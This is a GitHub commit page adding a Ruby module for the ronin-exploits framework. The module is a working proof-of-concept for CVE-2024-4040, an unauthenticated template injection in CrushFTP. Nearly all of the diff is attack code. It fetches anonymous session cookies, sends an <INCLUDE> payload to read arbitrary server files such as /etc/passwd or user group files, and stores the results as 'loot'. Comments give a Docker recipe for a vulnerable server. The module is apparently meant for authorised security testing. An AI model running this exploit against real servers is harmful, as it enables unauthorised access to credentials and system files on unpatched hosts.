-
-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
5f7eb88
commit 1fdd700
Showing
1 changed file
with
173 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,173 @@ | ||
#!/usr/bin/env -S ronin-exploits run -f | ||
|
||
require 'ronin/exploits/web' | ||
require 'ronin/exploits/mixins/loot' | ||
|
||
module Ronin | ||
module Exploits | ||
# | ||
# A Proof-of-Concept exploit for CVE-2024-4040. | ||
# | ||
# * https://github.com/1ncendium/CVE-2024-4040/blob/5e7c7a34827b39a29c62f240912ac218df764838/exploit.py | ||
# * https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability/blob/8fbb976af2b92cdcd7dce5e6baf72e57b099e3bf/exploit.py | ||
# * https://github.com/airbus-cert/CVE-2024-4040/blob/8e6652ae88065e0cc6cd0da8d479a40c249274d4/scan_host.py | ||
# | ||
# ## Improvements | ||
# | ||
# * Obtains the anonymous session cookie via `GET /WebInterface/`, not | ||
# `/WebInterface/login.html`. | ||
# * Uses a better regex to extract the included file from the XML response. | ||
# | ||
# ## Vertification | ||
# | ||
# ``` | ||
# FROM ubuntu:latest | ||
# WORKDIR /var/opt | ||
# RUN apt-get update -qq && \ | ||
# apt-get install -qq -y unzip wget openjdk-17-jre-headless && \ | ||
# wget -q https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip && \ | ||
# unzip CrushFTP10.zip | ||
# | ||
# EXPOSE 21 | ||
# EXPOSE 8080 | ||
# EXPOSE 443 | ||
# EXPOSE 2222 | ||
# WORKDIR /var/opt/CrushFTP10 | ||
# CMD ["java", "-Xmx1024m", "-jar", "CrushFTP.jar", "-d"] | ||
# ``` | ||
# | ||
# ``` | ||
# $ docker built -t vuln-crushftp . | ||
# $ docker run --rm -p 2121:21 -p 4443:443 -p 8080:8080 -p 9090:9090 -p 2222:2222 vuln-crushftp | ||
# ``` | ||
# | ||
# ``` | ||
# $ bundle exec ./exploits/crushftp/CVE-2024-4040.rb -p base_url=http://localhost:8080 -p file=/etc/passwd | ||
# ``` | ||
# | ||
# **Note:** it takes more than a minute for `CrushFTP.jar` to fully boot up. | ||
# | ||
class CVE_2024_4040 < Web | ||
|
||
include Mixins::Loot | ||
|
||
register 'CVE-2024-4040' | ||
|
||
quality :tested | ||
release_date '2024-05-13' | ||
disclosure_date '2024-04-26' | ||
advisory 'CVE-2024-4040' | ||
advisory 'GHSA-46vf-c8gj-2pgq' | ||
|
||
author "Postmodern", email: "[email protected]" | ||
summary "Arbitrary File Read in CrushFTP < 10.7.1 and 11.1.0" | ||
description <<~DESC | ||
CrushFTP versions before 10.7.1 and 11.1.0 are vulnerable to an | ||
unauthenticated server side template injection vulnerability that allows | ||
reading arbitrary files outside of the VFS Sandbox. | ||
POST /WebInterface/function/ | ||
command=exists&paths=<INCLUDE>FILE_HERE</INCLUDE>&c2f=... | ||
DESC | ||
references [ | ||
"https://github.com/1ncendium/CVE-2024-4040", | ||
"https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability", | ||
"https://github.com/airbus-cert/CVE-2024-4040" | ||
] | ||
|
||
param :file, default: 'users/MainUsers/groups.XML', | ||
desc: 'The file to read' | ||
|
||
# | ||
# Test whether the target system is vulnerable. | ||
# | ||
def test | ||
unless (cookie = get_cookie) | ||
return Unknown("could not obtain session cookies") | ||
end | ||
|
||
file = params[:file] | ||
injection = "<INCLUDE>#{file}</INCLUDE>" | ||
|
||
response = http_post( | ||
'/WebInterface/function/', cookie: cookie, | ||
form_data: { | ||
'command' => 'exists', | ||
'paths' => injection, | ||
'c2f' => cookie['currentAuth'] | ||
} | ||
) | ||
|
||
if response.code == '200' | ||
if response.content_type == 'text/xml' | ||
if response.body.include?('<commandResult>') | ||
Vulnerable('host is vulnerable') | ||
else | ||
NotVulnerable('host is patched') | ||
end | ||
else | ||
Unknown("did receive an XML response: #{response.content_type}") | ||
end | ||
else | ||
Unknown("did not return HTTP 200: #{response.code}") | ||
end | ||
end | ||
|
||
# | ||
# Obtains the `currentAuth` cookie using {#get_cookie} and then sends a | ||
# HTTP POST to `/WebInterface/function/` with the cookie and form params | ||
# with the `<INCLUDE>FILE_HERE</INCLUDE>` Server-Side Template Injection. | ||
# | ||
def launch | ||
unless (cookie = get_cookie) | ||
fail("could not obtain the session cookies") | ||
end | ||
|
||
file = params[:file] | ||
injection = "<INCLUDE>#{file}</INCLUDE>" | ||
|
||
response = http_post( | ||
'/WebInterface/function/', cookie: cookie, | ||
form_data: { | ||
'command' => 'exists', | ||
'paths' => injection, | ||
'c2f' => cookie['currentAuth'] | ||
} | ||
) | ||
|
||
if response.code == '200' | ||
if response.content_type == 'text/xml' | ||
if (match = response.body.match(%r{<response>(.+?)\r\n:false</response>}m)) | ||
loot.add(file,match[1]) | ||
else | ||
fail("could not extract the included file from the response body: #{response.body.inspect}") | ||
end | ||
else | ||
fail("did not receive a valid XML response: #{response.content_type}") | ||
end | ||
else | ||
fail("POST #{params[:base_url]}/WebInterface/function/ returned HTTP #{response.code}") | ||
end | ||
end | ||
|
||
# | ||
# Sends a HTTP GET request to `/WebInterface/` and returns the | ||
# `currentAuth` and `CrushAuth` cookie values. | ||
# | ||
# @return [Hash, nil] | ||
# | ||
def get_cookie | ||
if (cookies = http_get_cookies('/WebInterface/')) | ||
# NOTE: CrushFTP sends the currentAuth and crushAuth cookie values in | ||
# two separate Set-Cookie headers. | ||
{ | ||
'currentAuth' => cookies[0]['currentAuth'], | ||
'CrushAuth' => cookies[1]['CrushAuth'] | ||
} | ||
end | ||
end | ||
|
||
end | ||
end | ||
end |